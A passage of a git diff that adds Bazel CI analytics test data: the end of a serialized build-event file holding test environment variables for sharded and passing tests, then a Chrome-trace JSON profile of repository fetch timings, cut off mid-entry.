JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 2 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely +TEST_SHARD_INDEX1^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml @2(A://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpx’# +€‡§B€‡§¢ ïú—ÖÀ¦íÿ¨€€ÁB{ +2bazel-out/k8-fastbuild/testlogs/pass_test/test.logE +@c4d97ed7504f0d4c742f57c5c7014ef33de0b8b077e90765a330ab231c2b09e5œC2*'BD{ +2bazel-out/k8-fastbuild/testlogs/pass_test/test.xmlE +@e69b20191cc399c99510a46ad7322a20bd7fe10c2ac70a01c4e73bf5ad48969cý©:¦ +/external/bazel_tools/tools/test/generate-xml.sh +2bazel-out/k8-fastbuild/testlogs/pass_test/test.log +2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml +0 +0> + JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/bin@ +PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles= + RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./pass_testi + TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek +TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs + TEST_NAME //:pass_test] +TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely +TEST_SHARD_INDEX0 + TEST_SIZEmedium< + TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles + TEST_TARGET //:pass_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66b +TEST_TOTAL_SHARDS0r +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSKbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/ANNOTATIONSj +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR?bazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifestU +TEST_UNDECLARED_OUTPUTS_DIR6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsl + TEST_UNDECLARED_OUTPUTS_MANIFESTHbazel-out/k8-fastbuild/testlogs/pass_test/test.outputs_manifest/MANIFESTc +TEST_UNUSED_RUNFILES_LOG_FILEBbazel-out/k8-fastbuild/testlogs/pass_test/test.unused_runfiles_logT +TEST_WARNINGS_OUTPUT_FILE7bazel-out/k8-fastbuild/testlogs/pass_test/test.warnings +TEST_WORKSPACE_main +TZUTCE +XML_OUTPUT_FILE2bazel-out/k8-fastbuild/testlogs/pass_test/test.xml C2(D: //:pass_testB +TestRunnerZprocesswrapper-sandboxhpx’# +À‹äBÀ‹ä¢ ïú—ÖÀ¦íÿ¨€ÀÃ�E‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸF2*'E�G‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xmlE +@da3be6ada8aa77a9ec8381222bb8358fcd7300c46bc8318e05b7cd792a471f60šñ:î +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 1 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely +TEST_SHARD_INDEX0^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml F2(G://:sharded_testB +TestRunnerZprocesswrapper-sandboxhpx’# +€�¡B€�¡¢ ïú—ÖÀ¸á�¨€àà \ No newline at end of file diff --git a/tools/bazel/testdata/ci_analytics/real/cold-profile.json b/tools/bazel/testdata/ci_analytics/real/cold-profile.json new file mode 100644 index 000000000..96a1649ed --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/cold-profile.json @@ -0,0 +1,170 @@ +{"traceEvents":[ +{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 658997, "dur": 1250, "pid": 1, "tid": 172}, +{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 660759, "dur": 1022, "pid": 1, "tid": 172}, +{"cat": "Fetching repository", "name": "@@bazel_tools", "ph": "X", "ts": 662835, "dur": 371, "pid": 1, "tid": 172}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3904359, "dur": 32, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3953422, "dur": 10926, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 3964567, "dur": 536104, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc+", "ph": "X", "ts": 4501714, "dur": 461, "pid": 1, "tid": 316}, +{"cat": "Fetching repository", "name": "@@rules_cc++compatibility_proxy+cc_compatibility_proxy", "ph": "X", "ts": 4515525, "dur": 24, "pid": 1, "tid": 327}, +{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4529433, "dur": 37, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4530239, "dur": 111971, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@bazel_features+", "ph": "X", "ts": 4643081, "dur": 286, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_globals", "ph": "X", "ts": 4648893, "dur": 19, "pid": 1, "tid": 290}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_version", "ph": "X", "ts": 4649521, "dur": 14, "pid": 1, "tid": 280}, +{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4651025, "dur": 16, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4651819, "dur": 171321, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_skylib+", "ph": "X", "ts": 4823901, "dur": 258, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_version", "ph": "X", "ts": 4869764, "dur": 6204, "pid": 1, "tid": 324}, +{"cat": "Fetching repository", "name": "@@bazel_features++version_extension+bazel_features_globals", "ph": "X", "ts": 4869967, "dur": 16837, "pid": 1, "tid": 280}, +{"cat": "Fetching repository", "name": "@@rules_cc++compatibility_proxy+cc_compatibility_proxy", "ph": "X", "ts": 4901925, "dur": 2388, "pid": 1, "tid": 269}, +{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 4922218, "dur": 18, "pid": 1, "tid": 425}, +{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 4923661, "dur": 848913, "pid": 1, "tid": 425}, +{"cat": "Fetching repository", "name": "@@protobuf+", "ph": "X", "ts": 5772986, "dur": 211, "pid": 1, "tid": 425}, +{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6054930, "dur": 13, "pid": 1, "tid": 461}, +{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6055425, "dur": 41544, "pid": 1, "tid": 461}, +{"cat": "Fetching repository", "name": "@@platforms", "ph": "X", "ts": 6097222, "dur": 159, "pid": 1, "tid": 461}, +{"cat": "Fetching repository", "name": "@@platforms+host_platform+host_platform", "ph": "X", "ts": 6101665, "dur": 23, "pid": 1, "tid": 463}, +{"cat": "Fetching repository", "name": "@@platforms+host_platform+host_platform", "ph": "X", "ts": 6105780, "dur": 2496, "pid": 1, "tid": 463}, +{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6414717, "dur": 19, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6415310, "dur": 11, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6417309, "dur": 27, "pid": 1, "tid": 698}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6418768, "dur": 29, "pid": 1, "tid": 681}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6426581, "dur": 23, "pid": 1, "tid": 717}, +{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6428070, "dur": 19, "pid": 1, "tid": 697}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6434044, "dur": 271, "pid": 1, "tid": 807}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_toolchain_config_repo", "ph": "X", "ts": 6435224, "dur": 21, "pid": 1, "tid": 746}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_toolchain_config_repo", "ph": "X", "ts": 6436035, "dur": 25, "pid": 1, "tid": 748}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6436767, "dur": 20, "pid": 1, "tid": 752}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6437255, "dur": 25, "pid": 1, "tid": 832}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6438672, "dur": 36, "pid": 1, "tid": 715}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_toolchain_config_repo", "ph": "X", "ts": 6439596, "dur": 23, "pid": 1, "tid": 682}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_windows_toolchain_config_repo", "ph": "X", "ts": 6439942, "dur": 20, "pid": 1, "tid": 763}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6440519, "dur": 19, "pid": 1, "tid": 759}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_toolchain_config_repo", "ph": "X", "ts": 6440736, "dur": 17, "pid": 1, "tid": 683}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6442806, "dur": 16, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6442996, "dur": 5, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_toolchain_config_repo", "ph": "X", "ts": 6443159, "dur": 5, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_toolchain_config_repo", "ph": "X", "ts": 6443317, "dur": 4, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6443305, "dur": 21, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6443518, "dur": 5, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6443604, "dur": 24, "pid": 1, "tid": 696}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_riscv64_toolchain_config_repo", "ph": "X", "ts": 6443760, "dur": 6, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6443771, "dur": 12, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_toolchain_config_repo", "ph": "X", "ts": 6443908, "dur": 7, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6444086, "dur": 12, "pid": 1, "tid": 696}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6444184, "dur": 10, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_toolchain_config_repo", "ph": "X", "ts": 6444205, "dur": 9, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6438398, "dur": 6035, "pid": 1, "tid": 838}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_toolchain_config_repo", "ph": "X", "ts": 6445238, "dur": 9, "pid": 1, "tid": 778}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6445226, "dur": 16, "pid": 1, "tid": 685}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_toolchain_config_repo", "ph": "X", "ts": 6445226, "dur": 16, "pid": 1, "tid": 777}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6445315, "dur": 12, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_toolchain_config_repo", "ph": "X", "ts": 6445593, "dur": 11, "pid": 1, "tid": 723}, +{"cat": "Fetching repository", "name": "@@rules_python++python+pythons_hub", "ph": "X", "ts": 6445625, "dur": 12, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6445624, "dur": 14, "pid": 1, "tid": 696}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6445646, "dur": 7, "pid": 1, "tid": 777}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6445668, "dur": 13, "pid": 1, "tid": 778}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_toolchain_config_repo", "ph": "X", "ts": 6445685, "dur": 11, "pid": 1, "tid": 722}, +{"cat": "Fetching repository", "name": "@@rules_python++uv+uv", "ph": "X", "ts": 6445761, "dur": 7, "pid": 1, "tid": 685}, +{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 6445765, "dur": 7, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_toolchain_config_repo", "ph": "X", "ts": 6445728, "dur": 22, "pid": 1, "tid": 724}, +{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6445786, "dur": 25, "pid": 1, "tid": 780}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6446119, "dur": 13, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6446992, "dur": 12, "pid": 1, "tid": 727}, +{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 6447080, "dur": 14, "pid": 1, "tid": 773}, +{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6447500, "dur": 10, "pid": 1, "tid": 779}, +{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6451198, "dur": 356, "pid": 1, "tid": 703}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6456645, "dur": 18, "pid": 1, "tid": 706}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6458223, "dur": 12, "pid": 1, "tid": 689}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6460249, "dur": 13, "pid": 1, "tid": 747}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_toolchain_config_repo", "ph": "X", "ts": 6467768, "dur": 21, "pid": 1, "tid": 845}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6470984, "dur": 21, "pid": 1, "tid": 765}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc_toolchains", "ph": "X", "ts": 6445781, "dur": 31777, "pid": 1, "tid": 838}, +{"cat": "Fetching repository", "name": "@@bazel_tools+winsdk_configure+local_config_winsdk", "ph": "X", "ts": 6451781, "dur": 26346, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6436289, "dur": 112074, "pid": 1, "tid": 687}, +{"cat": "Fetching repository", "name": "@@rules_java+", "ph": "X", "ts": 6548753, "dur": 150, "pid": 1, "tid": 687}, +{"cat": "Fetching repository", "name": "@@rules_java++compatibility_proxy+compatibility_proxy", "ph": "X", "ts": 6558073, "dur": 15, "pid": 1, "tid": 731}, +{"cat": "Fetching repository", "name": "@@rules_java++compatibility_proxy+compatibility_proxy", "ph": "X", "ts": 6562917, "dur": 2676, "pid": 1, "tid": 770}, +{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6447998, "dur": 173552, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@apple_support+", "ph": "X", "ts": 6621865, "dur": 374, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6416123, "dur": 208585, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@rules_swift+", "ph": "X", "ts": 6624873, "dur": 537, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6633898, "dur": 156, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6634191, "dur": 3994, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@apple_support++apple_cc_configure_extension+local_config_apple_cc_toolchains", "ph": "X", "ts": 6638675, "dur": 878, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6639839, "dur": 275, "pid": 1, "tid": 666}, +{"cat": "Fetching repository", "name": "@@rules_swift++non_module_deps+build_bazel_rules_swift_local_config", "ph": "X", "ts": 6640214, "dur": 4287, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6447498, "dur": 225173, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_shell+", "ph": "X", "ts": 6673022, "dur": 169, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6679879, "dur": 199, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_shell++sh_configure+local_config_shell", "ph": "X", "ts": 6680241, "dur": 2662, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6685054, "dur": 379, "pid": 1, "tid": 854}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_toolchain_config_repo", "ph": "X", "ts": 6685323, "dur": 5559, "pid": 1, "tid": 683}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685099, "dur": 6503, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_toolchain_config_repo", "ph": "X", "ts": 6684997, "dur": 6803, "pid": 1, "tid": 732}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_toolchain_config_repo", "ph": "X", "ts": 6685392, "dur": 6884, "pid": 1, "tid": 665}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6685115, "dur": 7208, "pid": 1, "tid": 856}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685367, "dur": 7550, "pid": 1, "tid": 670}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_toolchain_config_repo", "ph": "X", "ts": 6685324, "dur": 7597, "pid": 1, "tid": 768}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6684990, "dur": 8176, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685222, "dur": 8048, "pid": 1, "tid": 766}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685348, "dur": 8862, "pid": 1, "tid": 790}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685310, "dur": 8952, "pid": 1, "tid": 857}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685220, "dur": 9481, "pid": 1, "tid": 682}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685182, "dur": 9900, "pid": 1, "tid": 719}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685359, "dur": 9680, "pid": 1, "tid": 865}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685461, "dur": 9896, "pid": 1, "tid": 764}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_toolchain_config_repo", "ph": "X", "ts": 6685455, "dur": 11082, "pid": 1, "tid": 759}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6685164, "dur": 11410, "pid": 1, "tid": 762}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685111, "dur": 12321, "pid": 1, "tid": 869}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_toolchain_config_repo", "ph": "X", "ts": 6685202, "dur": 12282, "pid": 1, "tid": 851}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_toolchain_config_repo", "ph": "X", "ts": 6685107, "dur": 12890, "pid": 1, "tid": 767}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685095, "dur": 13732, "pid": 1, "tid": 866}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6685588, "dur": 13336, "pid": 1, "tid": 849}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_toolchain_config_repo", "ph": "X", "ts": 6685509, "dur": 13589, "pid": 1, "tid": 716}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_toolchain_config_repo", "ph": "X", "ts": 6685221, "dur": 13932, "pid": 1, "tid": 821}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_toolchain_config_repo", "ph": "X", "ts": 6685051, "dur": 16157, "pid": 1, "tid": 701}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685219, "dur": 16363, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6686285, "dur": 15952, "pid": 1, "tid": 850}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_toolchain_config_repo", "ph": "X", "ts": 6685288, "dur": 17582, "pid": 1, "tid": 731}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685099, "dur": 17808, "pid": 1, "tid": 714}, +{"cat": "Fetching repository", "name": 